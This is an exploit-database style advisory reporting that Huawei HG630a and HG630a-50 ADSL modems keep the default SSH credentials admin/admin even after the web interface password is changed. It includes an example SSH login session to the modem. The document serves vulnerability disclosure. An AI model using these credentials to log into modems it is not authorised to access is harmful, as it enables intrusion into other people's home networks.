# Exploit Title: Huawei HG630a and HG630a-50 Default SSH Admin Password on Adsl Modems

# Version: HG630a and HG630a-50
# Tested on: linux,windows

Adsl modems force you to change admin web interface password. Even though
you can change admin password on the web interface,  the password you
assign does not apply to ssh. So, SSH password always  will be
'Username:admin Password:admin'.

Ex:

*ssh admin@modemIP <admin@192.168.1.1>*
admin@modemIP <admin@192.168.1.1>'s password:*admin*
PTY allocation request failed on channel 0
